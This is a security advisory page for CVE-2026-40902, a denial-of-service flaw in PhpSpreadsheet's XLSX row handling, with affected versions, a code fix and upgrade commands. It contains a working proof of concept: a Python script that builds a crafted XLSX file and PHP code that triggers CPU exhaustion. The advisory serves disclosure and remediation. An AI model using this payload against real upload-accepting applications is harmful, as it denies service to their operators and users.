Loading...
Skip to main content

CVE-2026-40902 — Vulnerability in phpoffice/phpspreadsheet — CVE...

HIGH

PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions

Published April 29, 2026Updated May 13, 2026Source: osv

Summary

## Summary The XLSX reader's `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `<row r="999999999"/>` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. ## Details In `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking: ```php // ColumnAndRowAttributes.php:216 $rowIndex = (int) $row['r']; // No validation against AddressRange::MAX_ROW ``` This value flows through `setRowAttributes()` (line 126) → `$this->worksheet->getRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`: ```php // Worksheet.php:1342-1349 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; } ``` The inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86): ```php // RowIterator.php:86 $this->endRow = $endRow ?: $this->subject->getHighestRow(); ``` Notably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks. ## PoC **Step 1: Create the malicious XLSX file (~1.6KB)** ```python import zipfile import io content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>' rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>' workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>' wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>' sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>' with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('[Content_Types].xml', content_types) zf.writestr('_rels/.rels', rels) zf.writestr('xl/workbook.xml', workbook) zf.writestr('xl/_rels/workbook.xml.rels', wb_rels) zf.writestr('xl/worksheets/sheet1.xml', sheet) print("Created dos_row.xlsx") ``` **Step 2: Load with PhpSpreadsheet (CPU exhaustion)** ```php <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\IOFactory; $reader = IOFactory::createReader('Xlsx'); $spreadsheet = $reader->load('dos_row.xlsx'); $sheet = $spreadsheet->getActiveSheet(); echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Output: Highest row: 999999999 // This will consume CPU for ~144 seconds (999M iterations) foreach ($sheet->getRowIterator() as $row) { // CPU exhaustion } ``` **Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely. ## Impact - **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file. - **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory. - **Amplification:** The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations. - **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely. ## Recommended Fix Add row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161: ```php // src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216 // Before: $rowIndex = (int) $row['r']; // After: $rowIndex = (int) $row['r']; if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) { continue; } ``` The `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.

Advisory Timeline

  • First published April 29, 2026 (166 days ago).
  • Last revised May 13, 2026 — 14 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update phpoffice/phpspreadsheet to 5.7.0 or later
composer require "phpoffice/phpspreadsheet:^5.7.0"
Composer
Update phpoffice/phpspreadsheet to 3.10.5 or later
composer require "phpoffice/phpspreadsheet:^3.10.5"
Composer
Update phpoffice/phpspreadsheet to 1.30.4 or later
composer require "phpoffice/phpspreadsheet:^1.30.4"
Composer
Update phpoffice/phpspreadsheet to 2.1.16 or later
composer require "phpoffice/phpspreadsheet:^2.1.16"
Composer
Update phpoffice/phpspreadsheet to 2.4.5 or later
composer require "phpoffice/phpspreadsheet:^2.4.5"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (5)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
phpoffice/phpspreadsheet
packagist
4.0.0, 4.1.0, 4.2.0, 4.3.0 (+10 more)5.7.0
phpoffice/phpspreadsheet
packagist
3.10.0, 3.10.1, 3.10.2, 3.10.3 (+11 more)3.10.5
phpoffice/phpspreadsheet
packagist
1.0.0, 1.0.0-beta, 1.0.0-beta2, 1.1.0 (+57 more)1.30.4
phpoffice/phpspreadsheet
packagist
2.0.0, 2.1.0, 2.1.1, 2.1.10 (+12 more)2.1.16
phpoffice/phpspreadsheet
packagist
2.2.0, 2.2.1, 2.2.2, 2.3.0 (+14 more)2.4.5

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-400
    Uncontrolled Resource ConsumptionMITRE
  • CWE-770
    Allocation of Resources Without LimitsMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Frequently Asked Questions

What is CVE-2026-40902?
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
How do I check if my project is affected by CVE-2026-40902?
CVE-2026-40902 affects phpoffice/phpspreadsheet. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-40902 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.5

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-7c6m-4442-2x6m

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies